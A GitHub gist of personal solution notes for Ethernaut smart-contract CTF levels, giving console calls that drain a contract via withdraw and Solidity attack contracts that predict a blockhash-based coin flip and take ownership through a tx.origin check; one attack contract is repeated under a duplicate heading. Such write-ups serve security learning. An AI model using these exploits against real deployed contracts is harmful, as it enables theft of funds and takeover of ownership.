Skip to content

Instantly share code, notes, and snippets.

@alcedo
Last active October 31, 2023 16:09
Show Gist options
  • Save alcedo/4cd04fd3d1e838ed51e0c15ae63b955a to your computer and use it in GitHub Desktop.
Save alcedo/4cd04fd3d1e838ed51e0c15ae63b955a to your computer and use it in GitHub Desktop.
ethernauts notes

Question 1 - Logic / Bad coding Flaws

you can use this to call the contribute method:

contract.methods["contribute()"].sendTransaction({value: 2});

or

sendTransaction({ from: "0x111" , to: instance, value:1, data: web3.eth.abi.encodeFunctionSignature('contribute()')

for functions with params, data field can be created like so:

web3.eth.abi.encodeFunctionCall({ name: 'myMethod', type: 'function', inputs: [{ type: 'uint256', name: 'myNumber' },{ type: 'string', name: 'myString' }] }, ['2345675643', 'Hello!%']);

// Drain in console and click submit and done contract.withdraw();

Question 2

// in console call contract.Fal1out

submit, and done

Q3

Deploy this on REMIX - Set ENV as metamask

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";

contract Target {
    function flip(bool _guess) public returns (bool){}   
}

contract AttackCoinflip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function guess() public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        return side;
    }

    function attack(address target) public {
        Target tg = Target(target);
        tg.flip(guess());
    }
}

use remix and call function attack

call attack function and paste the instance smart contract address as parameter

do it 10 times and done!

Q4

this is about understanding tx.origin vs msg.sender() best practice is not to check tx.origin, but rather the msg.sender();

compose attack contract and deploy via remix

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

contract AttackTelephone {
    function attack(address tgt) public {

        Telephone target = Telephone(tgt);
        target.changeOwner(0xcf801268E6b45101cd974d1038b8986EDffE3D9F);
    }
}

call the attack function and paste the level instance smart contract address into it.

as above

Q4

Deploy this on REMIX - Set ENV as metamask

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";

contract Target {
    function flip(bool _guess) public returns (bool){}   
}

contract AttackCoinflip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR =
        57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function guess() public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        return side;
    }

    function attack(address target) public {
        Target tg = Target(target);
        tg.flip(guess());
    }
}

use remix and call function attack

call attack function and paste the instance smart contract address as parameter

do it 10 times and done!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment